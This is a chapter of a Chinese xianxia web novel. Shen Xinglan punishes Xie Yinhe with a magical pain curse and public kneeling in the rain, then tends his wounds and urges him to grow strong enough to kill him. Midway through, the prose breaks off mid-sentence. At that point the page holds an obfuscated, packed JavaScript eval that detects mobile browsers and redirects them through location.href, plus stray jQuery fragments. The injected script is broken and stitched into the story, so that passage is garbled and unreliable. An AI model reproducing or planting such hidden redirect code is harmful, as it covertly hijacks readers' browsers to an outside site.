沈星澜那句话像悬在谢引鹤头上的剑。


    惩罚。


    他当然懂。


    只是没想到，来的这么快。


    翌日下午。


    同样的擂台，谢引鹤站在台上，对面是个使链剑的瘦高男子，修为在炼气七层上下，比昨日那汉子更难缠。他已经苦战了一炷香的时间，身上添了好几道血口子，呼吸粗重，昨日体内忽然出现的锋锐之感再未出现，体内仅剩的灵力也快耗尽了。


    沈星澜抱臂靠在台下一根木柱旁，面无表情地看着，眼神淡漠的像在看两只蝼蚁互斗。


    “小子，还不快快认输！”使链剑的男子狞笑一声，剑光如匹练般交错斩来，封死了谢引鹤所有退路。


    谢引鹤咬牙，拼劲最后力气向侧翻滚，堪堪避开，但左腿外侧仍被划开一道口子，鲜血瞬间涌出。剧痛让他动作一滞，还没来得及站稳，对方以剑化链，链子狠狠抽在他的后心。


    “噗——”


    谢引鹤眼前一黑，一口血喷出，整个人被巨力拍得扑到在擂台伤，再也爬不起来。


    “胜负已分，胜负已分！”台下有人高喊。


    链剑男子收剑，得意地朝四周拱手，又不怀好意地看了眼台下的沈星澜，好像在说，我比他强的多，要他不如要我。


    沈星澜没有看他，只是静静地看着台上蜷缩的身影。良久，他才轻轻跃上擂台，走到谢引鹤身边，用脚尖轻轻拨了拨他的肩膀。


    “起来。”


    谢引鹤身体颤抖着，尝试了几次，才勉强用手臂撑起上半身，又是一口血咳出。


    “输了。”沈星澜语气里听不出喜怒。


    谢引鹤低着头，喉咙里发出微微抽气的声音，不知是痛还是恨。


    沈星澜没再说话，弯腰抓住他后领，像拎什么破布口袋一样，将他从台上拖了下来，一路拖出擂台区。


    他没有回客栈，而是将谢引鹤拖到一处僻静的林子里，随手扔在地上。


    谢引鹤闷哼一声蜷缩起来。


    沈星澜蹲下身，和往常一样，给他上药，处理伤口，只是这一次，他一句话也没说，脸上也没有任何表情。


    处理完伤口，他站起身，垂眼看着地上狼狈不堪的少年。


    天色不知何时阴沉下来，乌云聚拢，远处传来隐隐雷声。


    “昨日的话还记得吗？”沈星澜开口。


    谢引鹤嗫喏：“记得。”


    沈星澜指了指林子外官道的方向：“从这里走回客栈，然后跪在客栈门口。”


    谢引鹤猛地抬起头，脸上血色尽褪，眼里全是不敢置信和极致的屈辱。


    “跪到子时。”沈星澜补充道，语气平淡得像在说今晚吃什么，“客栈正门口，人来人往的地方，若是让我发现你偷懒，或者换了地方——”


    他没说完，只是心念微动。


    “啊——！”谢引鹤骤然发出一声压抑不住的惨叫，心口立刻传来噬心刻骨的剧痛，比那日庙里的疼痛强烈数倍！他整个人痉挛着倒在地上，手指深深抠进泥土里，额头青筋暴起，冷汗瞬间湿透了身上的衣裳。


    痛楚持续了许久才如潮水般褪去。


    谢引鹤瘫软在低，像一条离水太久的鱼，只剩下微弱的抽搐和喘息。


    “明白了吗？”沈星澜问。


    谢引鹤的实现已经有些涣散，他张了张嘴，发出一个微弱的气音：“……明白。”


    “很好。”沈星澜转身，径直离开，再没看他一眼。


    豆大的雨点开始砸落，很快就连成了线，最后变成了瓢泼大雨。


    谢引鹤躺在泥水里，冰冷的雨水冲刷着他的身体，伤口缠绕的纱布被雨水浸透，谢引鹤已经分不清到底是自己的血还是雨水。


    不知过了多久，他才攒够一丝力气，挣扎着爬起来，一步一步踉跄着朝着客栈方向走过去。


    雨水模糊了视线，伤口在雨水浸泡下刺痛难忍，每一步都像踩在刀尖上，从林子到客栈，平日里不过半盏茶的功夫，他走了将近一个时辰。


    当他终于看到客栈门口悬挂的昏黄灯笼，整个人已经像是从水里捞出来一样，脸色白如鬼，嘴唇冻得发紫。


    客栈门口有个不大的檐廊，但沈星澜说的是正门口。


    谢引鹤站在雨幕中，看着那扇近在咫尺透出暖光和人声的门口，身体颤抖的厉害。里面有人在喝酒划拳，有人在高谈阔论，还有小二殷勤的招呼声。


    他闭上眼，深吸一口气，冰冷的空气夹杂着雨水灌入肺腑引起一阵剧烈的咳嗽。


    然后他走到客栈正门那一小块空地上，那里毫无遮挡，暴雨肆虐地浇在他身上。


    他缓慢地，屈下了膝。


    双膝砸进积水的地面，溅起浑浊的水花。


    几乎是同一时间，客栈一楼靠窗的几桌食客就注意到了门外的异样。


    “咦？那儿是不是跪着个人？”


    “真的！下这么大的雨，跪在那儿干嘛？”


    “是不是疯了？”


    ……


    好奇的目光纷纷投来，最初只是窃窃私语，很快就变成了公然的议论和指指点点，有人甚至端着酒杯走到门口或者窗边探头探脑地看热闹。


    “这不是昨天跟那个红衣美人一起的小子？”


    “对对对，就是他，怎么跪这儿了？”


    “肯得是得罪了那位呗！你看那位长得就不像好相与的……”


    “啧啧，真可怜，下这么大的雨……”


    “可怜什么？说不定是自找的，年纪轻轻愿意给人当狗……主人的任务罢了。”


    ……


    各种声音，同情，嘲讽或者纯粹看戏，混合着雨声一股脑灌进谢引鹤耳朵里。他跪得笔直，头却深深底下，湿透的黑发黏在脸和脖颈上，遮住了他所有的表情，只有紧握的拳头，和微微颤抖的肩膀泄露出他内心翻江倒海的情绪。


    屈辱，像这冰冷的雨水一样，无孔不入，浸透他的每一寸皮肤，每一根骨头，那些目光有如实质的针，扎在他的背上，脸上。他从未如此刻般，清晰地感受到自己的卑微和不堪。


    时间变得无比漫长。


    每一刻都是煎熬。


    膝盖从疼痛到麻木，再到刺骨的寒冷，身体的热量在迅速流失，意识开始有些昏沉，他只能靠不断回想那夜谢家血案，回想父母最后的眼神，回想那冲天的血光与恨意，来维持最后一丝清醒。


    不能倒。


    倒下了，就真是一条彻底的废狗了。


    雨一直下。


    客栈里的人换了一批又一批，议论声也渐渐平息，大概是看久了也觉无趣。只有掌柜的和小二时不时偷瞄一眼门外，小二到底是年轻，几次看不下去，想拿把伞，掌柜却只是摇摇头，让他不要多管闲事。


    ……


    终于不知从哪里传来了打更人模糊的梆子声。


    子时到了。


    谢引鹤僵硬地抬起头，雨水立刻冲进他的眼睛，酸涩地疼。他尝试动了动腿，却发现双腿已经完全失去知觉，根本不听使唤。他只能用手撑着地面，一点点，缓慢而艰难地，将自己从跪姿换成坐姿，然后瘫坐在地上，剧烈地喘息着。


    休息了片刻，他才扶着湿滑的地面，摇摇晃晃地站起来，一步一挪地走进客栈。


    大堂里只剩下守夜的伙计在打盹，看到他进来，投来一瞥复杂的目光，又赶紧移开。


    谢引鹤置若罔闻，拖着仿佛不是自己的双腿，一步一步挪上二楼，在自己房门前停下。


    他伸出冻得青紫的双手，颤抖着推开了门。


    房间里点着灯。


    昏黄温暖的光晕里，沈星澜坐在桌前，目光毫无焦距地飘着，也不知坐了多久，听到门响，他抬起眼帘。


    谢引鹤僵在门口。沈星澜怎么……


    此时，沈星澜站起身，走到他面前。谢引鹤浑身滴着水，他脸色白的透明，嘴唇乌紫，眼睫毛上都挂着水珠，整个人狼狈脆弱得像一碰就碎。


    谢引鹤下意识想后退。


    沈星澜忽然伸出手，冰凉的指尖触碰到谢引鹤冰冷湿润的脸颊。


    谢引鹤身体一颤。


    沈星澜的手指很轻地拂过他脸上的雨水，然后从袖中取出一方丝帕。


    谢引鹤：“你……”


    沈星澜没说话，他用那方帕子，开始仔细地，温柔地，擦拭谢引鹤脸上的水痕。从额头，到眉骨，到脸颊，到下巴，动作轻柔得不像话。


    帕子很软，带着属于沈星澜身上淡淡的香气。谢引鹤的全身僵硬，呼吸都屏住了，脑子里一片空白，脸上传来的触感是温柔的，可心里却升起一股深深的寒意和恐慌。


    为什么？


    打一巴掌，再给一颗甜枣？


    “冷吗？”沈星澜忽然问，声音低低的很温柔。


    谢引鹤张了张嘴，却发不出声音。


    沈星澜也不在意，擦完脸，又用帕子擦了擦他滴水的发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977445|193339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    梢，然后将湿透的帕子随手仍在一旁。


    “把湿衣服脱了去床上。”他命令道，语气又恢复了白日里的淡漠，“我让人送热水上来。”


    说完，他转身走出了房间。


    谢引鹤独自站在房间里，看着地上的帕子，又摸了摸自己刚被擦拭过还残留着一丝异样触感的脸颊。


    一种巨大到几乎要将他淹没的疲惫和混乱袭来。


    他不明白。


    他真的……一点也不明白这个疯子到底想干什么。


    但身体已经到了极限，他机械地脱掉身上湿透的衣服，扔在地上，然后栽倒在床上，拉过被子裹住身体。


    不久，小二送来了热水，小心翼翼地放下就赶紧退了出去。


    沈星澜重新走进来。门关好，他走到床边，看了眼蜷缩在被子里只露出半张脸的谢引鹤，少年紧闭着眼，睫毛却在不住颤抖。


    他没说话，只是拧了拧热布巾，掀开被子一角，开始给谢引鹤冰冷的手臂和小腿回温，动作依旧是那种让人心慌的细致和耐心。


    谢引鹤的身体绷得更紧了。


    “放松。”沈星澜说，“今天的惩罚结束了。”


    身体的温度逐渐回升。


    “为什么……”谢引鹤终于忍不住了，哑着嗓子问出口，“为什么……要这样？”


    沈星澜停下动作，看着他：“哪样？”


    “先罚我……又……”谢引鹤说不下去了。


    “又怎样？”沈星澜接过他未尽的话，声音很轻，像在自言自语。


    他没有直接回答，而是继续用温热的布巾擦拭着谢引鹤另一只手。


    “你觉得我现在还在罚你？”沈星澜垂着眼睫，目光落在少年手臂上几处新鲜的瘀伤和擦痕上，指尖不经意般抚过一道较深的血口边缘。


    谢引鹤身体一颤，没吭声。


    “淋雨，下跪，被人围观，很难受，对吧？”沈星澜的声音平静无波，听不出情绪，“觉得屈辱，恨不得立刻死掉，或者杀了我，对吗？”


    谢引鹤的呼吸急促了几分，被子下的手指蜷缩起来。


    沈星澜却像是没察觉到他的反应，布巾再次浸了热水，拧干，然后掀开被子更多一些，开始擦拭他冷得发青的小腿。


    温热的触感让谢引鹤冻僵的肌肉本能地放松了一瞬，随即又绷紧。


    “但你记住今天的感觉了吗？”沈星澜问，手上的动作没停，“记住那种无能为力，记住那些目光，记住雨水有多冷，膝盖有多疼，还有……心里那把火，烧得有多旺。”


    他的指尖偶尔会碰到谢引鹤腿上的旧伤，“恨我，就牢牢记住我今天对你做的一切。”沈星澜抬眼，看向谢引鹤紧闭的眼睛，“让它推着你，让你哪怕只剩一口气，也要爬起来，也要变强。”


    “因为只有变强，强到足以摆脱我，强到足以……杀了我，你才能结束这一切。”


    他说这话时，语气平淡得像在谈论天气，甚至嘴角还噙着一丝弧度。


    谢引鹤终于睁开了眼睛，眼底是浓得化不开的混乱和一丝难以置信，他看着沈星澜，像在看一个无法理解的怪物。


    “你……想让我杀了你？”他哑声问，声音干涩。


    沈星澜笑了笑，没有承认，也没有否认。他放下布巾，从怀中取出药瓶，挖出药膏。


    药膏冰凉，但他的指尖却带着一丝残余的温热。


    那触感太过鲜明，谢引鹤猛地缩了一下腿，却被沈星澜另一只手轻轻按住了脚踝。


    “别动。”沈星澜说，他继续涂抹药膏，从膝盖到小腿上的瘀伤，动作比以往任何一次都要轻柔、细致。


    可正是这种反常的温柔，让谢引鹤心底那股寒意越来越重。他宁愿沈星澜像白天那样，至少那样，他还能明确地感受到对方的恶意和掌控，而不是像现在这样……捉摸不透。


    “明天还要打擂。”沈星澜包扎好，替他拉好被子，语气恢复了平常的淡漠，“今晚好好睡。”


    他站起身，吹熄了桌上的蜡烛，只留下墙角一盏小小的蜡烛，散发着昏暗朦胧的光。


    房间陷入半明半暗的寂静。


    沈星澜走到门口，手搭在门闩上，停顿了一下，没有回头。


    “谢引鹤。”他叫他的名字，不是狗，也不是其他任何称呼。


    谢引鹤心脏猛地一跳。


    “别让我失望。”


    说完，他拉开门，走了出去，轻轻带上了房门。